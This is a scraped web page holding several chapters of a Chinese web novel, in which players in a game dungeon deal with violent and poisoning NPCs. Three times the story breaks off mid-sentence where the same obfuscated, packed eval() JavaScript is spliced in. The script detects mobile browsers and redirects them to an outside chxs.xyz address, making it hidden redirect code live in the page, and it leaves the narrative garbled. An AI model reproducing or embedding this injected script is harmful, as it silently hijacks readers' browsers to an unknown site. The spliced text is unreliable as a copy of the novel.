“躲!你还敢躲!你吃我的穿我的什么不是靠我,现在连打都打不得了,老子今天就看谁能站到最后!”男人脸色越发狰狞,甚至从边上搬过一个木柜把门堵住。 你那是打吗,你那是砍,挨一下命还有吗!孟锦竹在心里呐喊,不过打肯定也是不行的,凭什么平白无故挨一巴掌。 然而你追我逃间孟锦竹忽然想起一件事,开局任务!特殊副本的开局任务!顿时震惊得脚步都缓了好几步。 不会吧?不会她的开局任务就是被打一下吧?这破副本没有这么欺负人吧? 不完成开局任务就没办法离开这里,但要顺着这人的意也太屈辱了,内心天人交战间,孟锦竹被堵在了狭小的角落里,眼睁睁地看着男人堵住去路缓缓逼近。 这回她用了周琪琪的外观,不得不说这个无意之举让这幕画面更加惊悚,少女稚嫩的面颊血色尽失,惊恐地看着满脸狰狞的高大男人。 “你再跑啊?白长着两条腿,今天就别想要了!” 男人神色阴沉得快要滴水,行走间因为裆下的疼痛有些踉跄,他高举起菜刀,然后猛地劈砍下去。 孟锦竹也怒了,她这两条腿长在自己身上找谁惹谁了,还能给人空口白牙定罪霍霍去了不成,自己又不是谁的奴隶,她从身后物架上摸索到一截硬木,往前狠狠砸下。 手上摸到的是擀面杖,但是擀面杖怎么比得过冷铁利刃呢?何况她动手比对方晚,就算格挡也晚了。 男人眼底浮现出残忍的快意。 孟锦竹眼睁睁地看着菜刀往腿上砍下,自己的动作、男人的动作都在这一刻无限放缓,她的技能又开始出现失控的迹象。 糟了,特殊副本受的伤不会带出去吧?日了狗真想给他一子弹——可惜韩舒早已试过,系统发放的武器对普通NPC无效。 不等她有所反应,刀刃以极快的速度落下,就在将要砍到她的时候,手中那把让人魂飞魄散的菜刀忽然消失了,男人的指骨重重撞到柜架上,磕出清脆的声响。 他的表情瞬间痛苦无比。 孟锦竹耳边听到铁器落地的声音,挥下去的擀面杖没有了阻拦,顺着强大的惯性威风凛凛地落下,“梆”地砸到男人的头顶。 如同幸运之神的眷顾,方才即将满屏飘红的惊险一刻扭转翻覆,几秒钟的漫长凝滞之后,男人两眼一翻,轰地一下晕倒在地。 “KO!” 仿佛有彩带飘花从天空撒下,孟锦竹晃了晃脑袋,暗自提醒自己以后少打点游戏,免得出现幻觉,随后苦恼地看着倒地的人。 发布任务的NPC没了,自己还怎么离开这里? 然后,她听见有人在叫自己的名字。 林屿无奈地站在窗外,“你就没怀疑他的刀是怎么没的?” 说完方才那把菜刀出现在她的手上,她先前情急之下将菜刀随便“给予”走了,现在则将它“给予”到了离手心一厘米的半空中,这个本来限制颇多的技能在碰了那块石头之后一下子解封了,忽然得心应手起来。 就好像她原先是个法师,只能按照既定的程式施咒,发出既定的火球,熟练度只影响威力大小,而不能改变火球的形态,而现在她变成了元素大师,只要是火元素,她都可以随意操纵。 用于“给予”这个技能,则表现为只要合乎“把什么东西给他人或他物”这个逻辑,就可以用出来,空气也可以算作他物。 当林屿试验出来这一点时简直要泪流满面——她终于拥有了自己的概念武器,不再是曾经那个战五渣了! 唯一的限制就是精神力的消耗,越是不合常理的钻漏洞消耗得越多,比如刚才这两下,第二下“把刀给自己手上的空气”的消耗比第一回“把刀给到别处”大多了。 孟锦竹看见来人,目光一下子亮了,如果不是隔着窗户,她就要扑过来诉苦了。 “我就说怎么这么幸运,原来是你来帮我了!呜呜呜不愧是我的好伙伴!” “你开一下门。” 林屿数了数旁边的房户,走入黑暗的楼道。 老旧的楼道地面有凹凸不平水泥坑,顶上的灯已经碎了,只有走廊两端和楼道口有一点光线,其中一户家中有重物挪动的声音,随后,孟锦竹开了门,把她拉了进去。 “你先试试能不能出门。”林屿说道。 孟锦竹进出房间几次,眨了眨眼,“奇怪,我不是还没完成任务吗?” “你的任务是什么?” 孟锦竹的表情像是吃了屎,“让他打一下。” “……?”林屿一脸难以置信,“会有这么离谱的任务吗?你确定?” “其实我也不确定,可能他还没来得及说。”如果有选择,孟锦竹是绝对不会去做这个任务的。 林屿沉吟了一 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“可能走不了。”林屿听了复述显然有了一个想法,不过还是让孟锦竹试着往小区外走,如果真的能走的话那就大大省功夫了。 然而现实显然不太美好,在距离小区大门几米远的地方,孟锦竹动不了了,只能无奈回身。 “如果我没猜错的话,你的任务应该是买烟。”林屿说道。 “买烟?” “任务一定是NPC说出口的话,你遇到的NPC除了想要打你,还说过一句话:让你买的烟也没买。如果任务是站着挨打的话也太离谱了,系统需要我们清除问题NPC,都单独开辟副本区域了,这么大功夫,不会设这种损坏玩家战斗力的事。” “所以我们去买烟?” 林屿点了点头,回头看了看地上的男人,“看看他衣兜里有没有钱。” 搜了一遍,是空的。于是在林屿的建议下,孟锦竹顺走了家中的值钱物件,比如手表什么的,来到小区内的小卖部换了包烟和一个打火机。 “接下来是不是就可以走了?” 林屿:“没那么简单,我们还得让他抽烟。” 孟锦竹眉头一皱,“那岂不是还要把人叫醒?”要再去面对他那副狰狞残暴的嘴脸她是万万不愿意的,但为了赌局,忍了。 “不需要。”林屿来到昏倒的男人跟前,瞥见了他仍然捏成拳头的手,之前他握着菜刀,差一点就砍到同伴的腿上去了,这个副本还不知道伤势会不会带出去,当时的情形万分危险,晚一点就是一场灾祸。 林屿没什么表情,只是咔嚓一下点燃打火机的火焰,把包装盒点燃,然后插到了他嘴里,“现在他烟也抽了,你试试能不能离开。” 孟锦竹看见这般骚操作大呼过瘾,甚至给林屿竖了一个大拇指,两人就像恶作剧成功一样相视一笑。 这回,两人直接走出了小区大门。 现在,只需要寻找问题NPC和最后一个队友了。 74.第七十四章 外面的街道宽敞明净,车行道、人行道泾渭分明,而道路上的车有敞篷马车、推车和人力车等旧时代遗物,也有冷光闪烁的四轮汽车,花里胡哨的出租车等现代交通工具,但整体看上去并不嘈杂冗乱,而充斥着一种田园小镇式的宁静祥和。但说是田园小镇也不准确,除了街道规整统一,被四通八达街道划分的街区却是各式各样什么年代什么风格都有。 身后还是老旧低矮的旧式小区,抬头隔着老远却能看到一片高楼大厦,对面是一截河流,结果流到街道就被截断了,变成无头无尾尴尴尬尬的中间段,再往旁边看去,一座旧式工厂的巨大烟囱黑烟喷吐,把占地上下污染得浓黑一片,却一点也无法跨过街道线,像是被锁在了一个方方正正的盒子里。 原来如此,系统特意划分一半的光环区域作为特殊副本,竟然不是笼统地把有问题的副本归为一处,而是将它们连通,拼接成一个大地图。 恐怕这些街道就是副本和副本间连接的地方了,真是毫不意外街道地面也是白色的呢,那街上的NPC是怎么回事,他们能从原来副本里出来了? 修剪整齐的树木排列在人行道上,穿着各式各样服装的NPC来来往往,林屿看见有人从工厂出来一身灰地进了出来的小区,又看见浑身浮肿的尸体从河里爬出来过街去另一头便利店买东西,一座学校门口堵满了接送的家长,有的坐人力车,有的骑自行车,有的自己开车,还有的骑在马上,一手握着缰绳。 “这、这就是特殊副本的模样吗?” 林屿和孟锦竹大开眼界,叹为观止,仿佛进了魔幻世界的大观园。 等到新奇够了,林屿第一时间摸出传信纸,“还有一个人呢,等他吗?给他留个消息问问在哪里吧。” 两张传信纸叠合在一起,林屿瞥了眼最上方写着密密麻麻字迹的碎纸,忽然想到了某个目的似乎是收集石头的奇怪家伙,不过现在没工夫和他耗,于是把和他唯一的联系方式折叠收好,展开了队友联络的纸张。 她正要写下什么,忽然看见纸张上浮现出一行潦草的字迹: 【你们在哪,我被困在房间里了】 林屿:“……”她有些震惊,何芝第三场本来打算让他来的,说明相信这人的实力,把他当成压轴,所以压轴就这?怎么能如此拉胯! 林屿顿时对能不能赢得对面产生了极大的悲观和怀疑。 “庄叔被困住了?”孟锦竹也看到了这条消息,像是想起什么一拍脑门,“我忘了,他不擅长解谜,听说喜欢走暴力推平路线,要不要去帮他?” 【你的具体位置】 林屿刚写完就看见回复——【平安小区,三楼314】 “不会这么巧吧……” 她和孟锦竹面面相觑地回过头,就看见刚刚离开的小区门口有四个掉漆生锈的大字: 平安小区。 合理,毕竟他们仨是一个地方进本的。 帮一个是帮,帮两个也是帮,不就是又多了一个需要解决的臭男人,林屿没有犹豫,看见消息就立马迈开腿冲了回去,气势就和出来的时候一样凶悍,无他,谁让开局接连遇到的两个都是让人生气的角色。 “哎哎哎等等我!”孟锦竹晚了一步结果被甩开一大截,不得不小跑起来去追同伴,跟着一头没入充斥着陈旧气息的阴森楼道。 …… 庄建是在一间卧室里醒来的,不是什么角落里的小铁床,不是硬得硌人的沙发,而是一间正儿八经的,两米大床摆放得方方正正的卧室,待遇比起两个同伴直接上了一个档次。 不过他稍微一动,成堆的衣服就从身边往下掉,他从半山腰拔出两条男人的秋裤和女人的睡衣,衣服山就直接坍塌盖了他一身,小件的棉服棉鞋盖了他满头满脸。 他看着这阖家团圆的阵势,心头“呵”了一声,这回他的身份设定是个妻儿俱全的人? 不错不错,现实中忙着挣钱没来得及成家,在游戏里倒是提前预习了美梦。庄建一边起身一边猜测自己的开局任务,像自己这样的身份,会不会任务就是出门打个酱油买买菜? 关闭的房门阻拦不住阵阵菜香,庄建闻到鱼香茄子的味道,那股香劲顿时让他吸溜咽了一口口水,不过想到之前听到的提醒,又暗自忍下,心头嘀咕。 有家室的感觉这么好吗,衣来伸手饭来张口,难怪同事都说姑娘难追,原来追到就能过神仙日子。不过饭已经做好的话,那他的开局任务又是什么呢? 庄建把门拉开一条缝,入眼就是客厅边上一张宽宽正正的桌子,一个女人从厨房端来一盘又一盘的菜,三个孩子坐在餐桌旁,本该是一副平平无奇的家常画面,却看得他眼皮一跳。 多了一个人。 这副忙碌与等待的家庭画面中,多了一个酒糟鼻的男人,他看起来四十上下,坐在餐桌边,和几个小孩说说笑笑,态度和蔼,似乎他才是这个家的男主人。 庄建心头一愣,原本想迈出去的步子顿时止住了,没想到他猜错了,自己只是一个误入别人家的陌生人,贸然被人发现根本解释不清楚,说不定还会被当成贼打一顿。 他顿时想关上门从卧室的窗外离开。 而这时,一个小孩眼尖地发现门后窥探的人。 “爸爸!” “!!!” 这一声让所有的眼睛齐刷刷地看过来,半遮半掩的门缝根本挡不住外面五道目光,庄建原本是做贼心态,被突如其来的瞩目一惊,都忘记那小孩刚才喊的什么了。他只知道已经没机会从窗户逃走,硬着头皮打开门,打招呼道: “嗨。” 他这边脑门出汗,绞尽脑汁地思考用什么借口解释,那边的男人却比他还尴尬,手足无措地发出几个杂音,半晌才说清楚一句话。 “啊、啊,原来你在家啊,我、我就过来串串门,突然想起还有点事,那我就先走了哈。” 说完不等庄建反应,那男人像一尾泥鳅似的呲溜一下飞速开门溜走了。 和他的做贼心虚相反,疑似出轨的女人却一脸平静,默不作声地放下手中的凉拌黄瓜,冷漠地瞥了卧室门口的庄建一眼,又移开了目光。 “你在家啊,不早说,我还以为你又去打牌没回来呢。” 庄建不知道做什么表情,只能含糊道:“提前回来了。” “正好,吃饭吧,鱼香肉丝有点冷了,我去热一热。”女人将桌上唯一一盘肉菜端走。 见她的身影没入厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779875|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房,庄建没有着急落座,反而先打开大门试了试——果然,脚步迈不出去,他的开局任务需要在这个房间完成。 他心情复杂地坐到先前那个男人的位置,三个小孩的正脸顿时一览无余,眼睛顿时瞪大了。 齐刷刷的,三个酒糟鼻映入眼帘。 卧槽!这是隔壁老王的孩子吧! 恰好此时女人从厨房出来了,把冒着热气的大菜往他面前一放,道:“你不是最喜欢吃这个了吗?专门给你做的,吃吧。” 明明就不知道他在家,怎么可能是专门给他做的?庄建心说他才不吃这一套,不过说不定这就是自己的任务,于是提起筷子。 “啪!” 一声脆响,最小的小孩想要从他面前夹肉,却被女人打掉了筷子,顿时眼泪汪汪地捂住手。 庄建心中不忍,想给小孩夹一筷子,却被女人阻拦下来,“他有吃的,平时里吃那么多好的,现在让你一下怎么了,你难得坐下吃饭,当然要吃好点。” 没想到在她心中丈夫居然比孩子重要!庄建心底难以克制地涌现出一股感动的暖流,差点忘记那三个孩子究竟是谁的问题,决定自己以后就要找这样的老婆,夹起一筷子鱼香肉丝就往嘴里送。 然后,看到了肉丝上来不及化开的白色粉末。 ——小心副本里的饭菜,里面有可能加了料。 严开吉的话在耳边回响,庄建尴尬地半张着嘴,就这样突兀地停下动作。 “怎么了。”女人面容冷淡,神色却有一丝异样,那是混合着紧张、忐忑的决绝,他毫不怀疑菜里下的是毒药。 庄建心念电转,忽然面色一变,蓦地弓起腰捂着肚子,额头上似有冷汗淌下。 “肚子好痛,天杀的卤菜,就不该在那家店里贪嘴……忍不住了,我去趟厕所!” 他早就看好卫生间的位置,砰地一下锁上门,掏出传信纸就开始奋笔疾书。 谢天谢地,回复来得很快,那边问地址——他回想起先前开门时看到的门牌号和贴着的催水电传单,快速写下了几个字,放下手,长嘘一口气。 这开局开的,完成任务他会死,不完成任务他走不了,简直就是地狱难度啊!如果一切简简单单可以暴力推平该多好,然而就算他干掉NPC,完不成任务也出不了门。 要不他干脆抓住那女人威胁她改口重新发布任务算了。 庄建越想越觉得是这个理,这盘菜不行那就换一盘,只要任务不强制他只吃那一道菜,他们吃的总不会也下毒了吧。 咚咚。 厕所门被敲了两下,童稚的声音传来,“爸爸你好了没有,妈妈说再磨蹭菜又要凉了。” “好了,马上来!”庄建大声回话,按下冲水,做出神清气爽的模样出了厕所,坐回座位。 方才叫他的小孩扒拉上板凳坐好,这下,四双眼睛齐刷刷地看着他,其中三双属于小孩子的眼炯炯有神,即陌生又好奇,而另外一双死气沉沉,冷漠无比,一看就是长年积怨,他都能脑补出一部几百集的家庭伦理剧了! 庄建扯了扯嘴角,尴尬道:“你们吃啊,一起吃饭了。” 谁来告诉他哪道菜没有毒,快吃啊!你们吃了我才好跟着挑! 75.第七十五章 小孩一动不动地看着他,大概刚才被警告过,明明已经馋得流口水了,愣是没有人动筷子,而女人怀疑的视线已经投过来,似乎在估量他是不是发现了什么。 庄建手背暴起青筋,要不然他直接制服这个NPC算了——逼她改口任务,反正他又不是这个家的一员,以后不会再回来了! 他这暴脾气,说动手就动手,只见主位上的男人把筷子往桌面一拍,蹬翻椅子气势汹汹地站起来,女人已经反应极快地一同起身,手伸向桌下。 气氛如紧绷的弓弦,仿佛火药在空气中炸响,听不见的巨响把三个小孩吓得呆若木鸡,愣愣地看着两个不对劲的大人,最小的一个已经扯出哭泣的表情。 “请问有人吗?”林屿敲了敲门,又确认了一遍门牌号,陈旧的白色油漆刷着314几个数字,已经褪色磨损,在缺乏光线的走廊需要眯着眼仔细辨认。 她等了一会儿,忽然感觉有什么东西擦过裤脚,柔软的,冰凉的,视线往下一拉,一只纯白色狮子猫回头看了她一眼。 “喵。” 不知是谁家养的猫跑出来了,掠过透气菱形格投下的光斑,皮毛一瞬像是长满了游鱼般发亮的鳞片,闪烁着清亮的光泽,随后重新隐入黑暗。 别说,猫真是爱干净的动物,即使在这样破旧的老楼里,依然把毛发打理得比原住民还顺滑。 “喵喵。”孟锦竹被小动物激起怜爱的心绪,忍不住想逗它,然而猫已经跑远了。 “什么喵?” 门已经开了,庄建一米八几的个头把门口堵得严严实实,甚至都没什么光线投过来,孟锦竹抬头,悲催地发现自己唤猫不成反而唤来了一个壮汉,不忍直视地移开目光。 “没什么喵,你听错了。”她否认道。 林屿听得有趣,“你们在说什么喵,能出来说话吗喵?” 孟锦竹:“……” 庄建:“……” “……我出不来,好了话不多说,你们有办法吗?” 林屿越过他的肩膀看见死气沉沉瞪视他们的一家四口,拿出传信纸示意,庄建埋头刷刷开写,几分钟过后,两人拿着传信纸借着屋子里的光和他的低声补充了解了事情始末。 原来是吃不吃的问题,吃了可能会中毒死亡,不吃就出不了门。林屿又问了女人之前说过的话,感觉有些棘手——任务似乎真的是吃饭,没什么空子可以钻,难道非要选一样不可了吗? 或者按照庄建之前的想法,把发布任务的NPC制服,逼她改口。 可要是她不肯改口呢,难道还要严刑拷打吗?或者改口了也没用要怎么办? “你们在做什么?怎么还不来吃饭?”女人阴恻恻的声音自身后响起,仿佛贴着头皮的耳语,庄建悚然一惊,背后起了一层鸡皮疙瘩,回头看见人还在座位上,这才把心揣回肚子。 已经不能再磨蹭了,林屿示意孟锦竹留下看门,和庄建来到餐桌边坐下。她看着眼神戒备的三个小孩,咬牙从系统商城里兑换了一个小蛋糕放在桌上,和颜悦色地对他们说道:“饿坏了吧?这是你们爸爸买给你们的。” 三小孩每顿吃不了几口肉饿得面黄肌瘦,抵挡不住奶油蜂蜜的诱惑,望着小蛋糕流口水,最小的就要伸手去拿。 “别吃!”女人一巴掌拍在桌子上,横眉立目地看着林屿。 林屿心想自己这角色真是像极了言情小说里的白莲花第三者,眼神飘忽了一下,随即正色道:“女士你好,我是贵先生请来的家庭调解员,他说想要修复和你的关系,从此洗心革面重新做人痛改前非再续前缘……” 庄建:“……”他什么时候说过这话!之前听说这小年轻解谜过本有两下子,但这这这,这样能行吗,感觉不靠谱啊! 女人面容冰冷,手已经伸向桌下,林屿余光似乎看到抽屉里的寒光,心头一凛,脑海里回想起庄建的叙述——“之前看到一个男人鬼鬼祟祟的,看到我就跑出去了,简直就是隔壁老王,这几个孩子长得像他。” 眼见女人越来越不耐烦,林屿语速一下子快了很多,“贵先生说他整日不在家不做贡献还净添麻烦和负担简直就是无用的累赘反而是您!” 女人往外抽的手顿了顿,林屿吸了一口气接下去,“您操持家里劳苦功高他一点也不介意孩子的事,决定从此一走了之再也不来烦你阻碍你,更不会借题发挥搞得家里乌烟瘴气,只要——” 女人不由自主接话,“……只要?” “只要他能出这个门。” 庄建一脸木然,任由林屿给自己这个角色加戏,反正要是不成他就动手,对付个NPC而已,他就不信拿三个小孩威胁她会不改口。 女人眼珠动了动,似乎在思考,林屿再接再厉,“活着出这个门,他保证不再回来,甚至会把身上值钱东西留下,不带走家里的一分一毫!” 林屿直接给人判了净身出户,盯着女人的一举一动,呼吸都不由自主放轻了。 和面对前几个NPC不同,这回她不太希望采用暴力手段,可能前两回的NPC是纯粹的施暴者,直接迫害到她们身上。这回的下毒看上去虽然也是迫害,然而四个原住民脸上的谨慎和瑟缩,他们袖口无意间露出的伤痕,又似乎在诉说另一面的故事。 但自己能做的有限,如果她依然不答应,那么只能动手。 漫长的权衡过后,女人缓缓从桌面下抽出空空如也的手掌,“可以,你们走吧,出了这个门就别回来了。” 庄建呼出一口气,站起来离开,然而到了门口忽然顿住,尴尬地转过脸。 女人瞬间警惕,“怎么?” “他走之前得吃一口什么,他睡太久饿得腿软。”林屿只好返回去解释,“不过他不想死,菜冷了,能不能去热一下?” 热菜的时间比想象的久,期间不时听见油遇到水激烈的飞溅声,伴随阵阵香味,庄建满脸怀疑地低语,“我不敢吃,她可能还会下毒,毕竟坑一个算一个,你们看上去又对付不了她的样子,解决了我她还怕什么。” 原来在他眼里,她们俩连个NPC都对付不了啊,那为什么她们还比他先脱离开局任务走出去呢?而他还困在这里摇人帮忙。 林屿看了他一眼,也低声道:“那之后你可得好好表现,早点完成任务,如果真输了这场,任向可就任由玩家公会处置了。” 庄建听了眉头一竖,“等她出来我直接动手!” 刚说完,女人就端着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799346|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道热了两回的鱼香肉丝上场,庄建肌肉一绷两腿蹬地,却被林屿硬生生地按回去,咬着牙传音,“都到这里了,你等我说两句!” 随后她扬起头笑道:“他有点激动,好久没这样一家人平平常常坐下来了,不过他希望儿子们先吃。” 女人放下盘子,却没有推给三小孩,而是拿起筷子自己吃了一口吞下。 林屿:“可以了,你吃吧。” 庄建只好万分不情愿地吃了一小口。 随后,他发现自己可以走出门外,不再受到规则的限制了。 林屿回头对这家人保证,“这个他我们领走了,之后卧室里如果还有人出现,那都不是这个他,不归我们管,你可以随意。” 这番事前时候两张面孔的不靠谱态度并没有让女人勃然大怒,她依然冷淡,指了指桌子上的小蛋糕,“你们的,带走。” “给小朋友的,放心,没毒。”林屿说完合上大门,扭头对庄建说道,“记住,你欠我200积分。” “什么?”他猝不及防。 “小蛋糕。救你的损失不会还让我负担吧?”林屿阴沉沉地说道,孟锦竹听了也露出不满的目光。 庄建:“……”他现在就想重新进门把小蛋糕抢出来。 三人一边下楼一边讨论接下来的行动。 “一起走效率太低,不如你们两个一块,我单独出去狩猎。” 庄建是个喜欢冒险的人,老玩家和厉害角色见得多,本身就是靠着身手和技能闯荡出天地,更欣赏的是那些锋芒外露一看就不好惹的角色,然而这两个分配来的队友一股学生气,一看就不能打,说不定还要靠他的保护,要是平时他可能顺手帮两把,但如今利益攸关,什么团结友爱都得往后排。 “团队赛要求的是一起出去,哪边三个人先完成哪边赢,就算你先出去了我们也不会赢啊。”孟锦竹在种植者里组队久了,下意识认为同伴间就该互帮互助,还是第一次遇见这么不合群的队友。 “那等我完成再联系,到时候再帮你们就是了。”庄建完全没有意识到这话有多么自负,几乎是默认了她们会拖后腿。 孟锦竹愤愤,林屿却先一步截下话头,“那好,不管哪边先完成都立刻传信通知。” 她目送庄建转过黑暗的楼道,从透气孔中窥见他头也不回走出小区的背影,“我们走吧。” “就这样放他走了吗?” 林屿:“强行留下不合作的人只会拖累我们,走吧,我有一个想法需要验证,如果可行,那我们很快就能达成离开的条件了。” “好!”孟锦竹甚至没有问是什么想法就快乐地答应下来,经历种种危机与生死一线,她对林屿的信心已经磨砺出不问来由的质感。 林屿微微勾了勾嘴角,已经开始在眼目中蓄力,如果顺利的话,她可以依靠自己眼睛的能力来筛选目标,等出了这个楼,看看遇到的NPC身上的黑气有多浓——愈加深厚的怨念,愈能滋生刺破牢笼的利爪,更多的目标一定集中在黑气浓郁的群体之中。 忽然,她目光凝滞,一把扯住了来不及刹脚的同伴,看向昏黑楼道的拐角深处。那个阴影遮蔽的地方隐约显现出了一个深黑色的、人形的斑块。 76.第七十六章 有人在楼道里! 林屿也不知道自己为何这么紧张,按理说这个小区那么多居民,遇到一两个人相当正常,刚才庄建也经过了前面的拐角,不什么事情也没发生吗? 就是一个普通住民而已,用不着这样一惊一乍觉得别人要害自己,大概是经历三个开局迫害有些神经过敏了吧。 林屿吸了一口气,又皱了皱眉,这里怎么有点臭?可能是老旧小区没有人打扫吧。平复下狂跳的心脏,她努力装成若无其事的模样又下了一级台阶,距离黑影只剩下两三步远。 “刚才怎么了?”孟锦竹扯了扯她的衣袖,疑惑地问道,“你发现什么了吗?” 林屿抬起的脚忽然顿住,转过头看着她,只见孟锦竹往周围看一圈,又重新看向自己,目光里带着显而易见的不解。 不对劲!林屿直觉疯狂警示,本能地拉着人要往后退,而这时,那个黑气浓重的人形忽然动了,在他动的一瞬间,孟锦竹短促地惊呼一声—— “这里怎么有个人!小心!” 两人一同后仰,凛风擦着鼻尖而去,一缕扬起的发丝从空中断开,轻飘飘地落下。在这个躲避的瞬间,视线里的人形褪去漆黑的外皮,露出一张满脸胡茬、眼珠暴突的可怖面孔。 林屿瞳孔微缩,看到他手持剔骨尖刀就要再削第二次,空间内的匕首已经入手。 这个人之前她见过! 就是那个一开局在窗外打麻将的人!原本注意力都被那个呼来喝去的男人吸引去了,没怎么留意另外三人,没想到其中竟然藏了一个觉醒NPC,身怀技能,一路尾随到这里伏击! 要是真的走到他面前再被攻击,那几乎没有任何时间反应,少说也得在身上开个洞,好在自己发觉不对——孟锦竹没看到这个人。 林屿心念电转,匕首是她用得最趁手的武器,几乎不需要什么反应时间就到了手中,不过在拿到这个武器之后,她的神色有一瞬的凝滞。 糟了,太顺手了,匕首不是最优选。 “快,拿木仓射他!”林屿大声吼道,用匕首勉强挡住第二次挥向自己的剔骨刀,然而体力灵巧从来不是她的强项,很快就要支撑不住了。 孟锦竹正面对着前方的凶险往身后台阶挪,在林屿出声之前已经打开了系统背包,闻言没有犹豫,立刻拿出系统配备的武器,一发白色子弹从NPC侧面“咻”地击中他的肩膀。 轻微噗嗤入肉声之后,满面凶恶的NPC顿住了,从被打中的肩膀开始,他的身体表面逐渐长出白色的增生,肢体如同生锈一般迅速僵硬,他想要转头去看谁害了他,却最终在扭头的途中碎成白色的残块。 两人还是第一次看见子弹的威力,半是惊讶半是恍然,这一幕场景像极了上个副本董事长最后的结局,也让林屿更加肯定自己的猜测:子弹和深扎在NPC后颈操控他们的是同一种东西。 “大意了,原来开局任务里也会遇到变异NPC,就知道凡事皆有例外,应该再谨慎一点的,而且他竟然还有技能……”林屿看着碎块喃喃自语,这个死去的NPC觉醒的或许是降低存在感的技能,所以一开始经过楼道的庄建和接近拐角的两人都没有发现他,直到她进入到某种视野,看见怨气包裹的人形,也幸好她打开了另一面视野。 林屿长舒一口气,看向孟锦竹,笑道:“刚才多谢,你反应很快,再晚一点我就得挂彩,不过这下直接开门红,接下来只需要找五个目标就行了!” 然而孟锦竹却毫无喜色,一个劲地摇头,“不,我……” “怎么了?”林屿关切地问。 “……刚才不是我……”她忽然抓住林屿的手,“刚才不是我打的,我没来得及!” “什么?” 林屿脸色白了一瞬,看向一地碎块,忽然将目光转向透气孔,余光看见一抹白影“咻”地掠向门口。 “是那个狮子猫!”孟锦竹惊呼。 猫?不,猫不该是玩家,除非……林屿看了一眼旁边的人,除非拥有变身技能,但会是这样吗?对方三人中田子阳和华浩俊的技能已经见识过,唯一不清楚的唯有唐瑜妡,难道是她?可总觉得有些不对劲。 难道是其他玩家? 思索间,又一个要离开小区的人已经慢悠悠地走到门口。林屿凝视背影,莫名觉得有几分熟悉,忽然内心一道惊雷划过——田子阳! 他的技能是阴阳眼,也就是说他和自己一样能看到NPC身上的怨气,加上刚才那个人用技能蹲守如此之久,吸引到一些不期而来的猎人也就不足为奇了。 之前还疑惑为什么公会里那么多人,偏偏叫上这个疑似和对手暗通款曲的二五仔,原来唐瑜妡有这个打算,简直和她的战术不期而合——带上他是为了分辨目标NPC! 林屿目光一寒,这样己方的优势大减,再加上某个队友不给力……她几乎能够想象满盘皆输的结局。 指甲深深掐入手心,林屿却浑然不觉,一想到未来不知多久时间都不得不在玩家公会里讨生活,她心中就涌现出无尽的反感——高高在上的首领,等级分明的架构,无限向上集中的资源,尔虞我诈的氛围,以及谗上媚下的成员,无论哪一种都令她不喜,何况这几个元素累加相乘。 “哎哎哎你去哪里?”孟锦竹连忙追上拔腿狂奔的同伴,一直跟着追出小区,与大街上嘈杂的人潮相撞。 刚才还没有这么多人,孟锦竹不由环顾一圈,看见拥堵不堪的小学门口时恍然大悟,原来都是从那边过来的。 别说,虽然是临时搭建的通道,但已经无限逼近现实,充满了生活气息,沿途卖什么的都出来了,还有穿着玩偶服发传单的。忽然人群里一阵喧哗惊叫,先前等在学校门口的那匹马不知受到什么惊吓,载 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850553|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着两人在街道上横冲直撞,周围的人纷纷向行进路线两边避让,一路如同割草般分出一道界限,而那根线眼睁睁地扎向林屿的脊背——她面朝相反的方向,正挡在行进路线上。 “小心,马往你那边来了!”孟锦竹想上前拉开同伴,可她的声音淹没的人潮中。 林屿满心满意都是那个疑似田子阳的背影,那只奇怪的猫,被截胡的怒火与“他们究竟在搞什么鬼”的好奇推着她紧随不舍。她眼里看不见别的,耳朵里也听不见其它声音,心底有个声音催促着她向前:跟上去,跟过去,别追丢,他们一定有什么阴谋。 视线有一瞬间黑暗,脸重重地撞到什么柔软的东西,让她整个人往旁边一偏。就在此时,一声尖锐的嘶鸣震痛耳膜,周围的嘈杂终于追上了她,瞬间在耳畔炸响,闹哄哄的人群,大声呼喊自己名字的孟锦竹,以及马蹄渐渐远去的“笃笃”敲击。 绒毛擦过皮肤,林屿不由后退一步,与方才撞到的人拉开距离。花花绿绿的传单从空中飘落,却没有人去捡,脸上飘着两坨红晕的黑色玩偶熊垂下头,表情憨傻,里面的人也没有道歉。 他确实不必道歉,如果不是他,林屿就要命丧马蹄之下了。 “呼,吓死我了,还以为……” 此刻孟锦竹艰难地把自己从人群中挤出来,向玩偶熊连声道谢,热情得对方接连摆手,她还想让被救的正主说两句,往旁边一看,这人早就蹲下帮人捡传单了,于是二话不说加入其中。 印着“狂欢之夜”音乐节的传单稳稳当当交还到玩偶熊手中,对方略一点头,转身挤入人群继续工作。 “现在怎么办?”孟锦竹低声道。 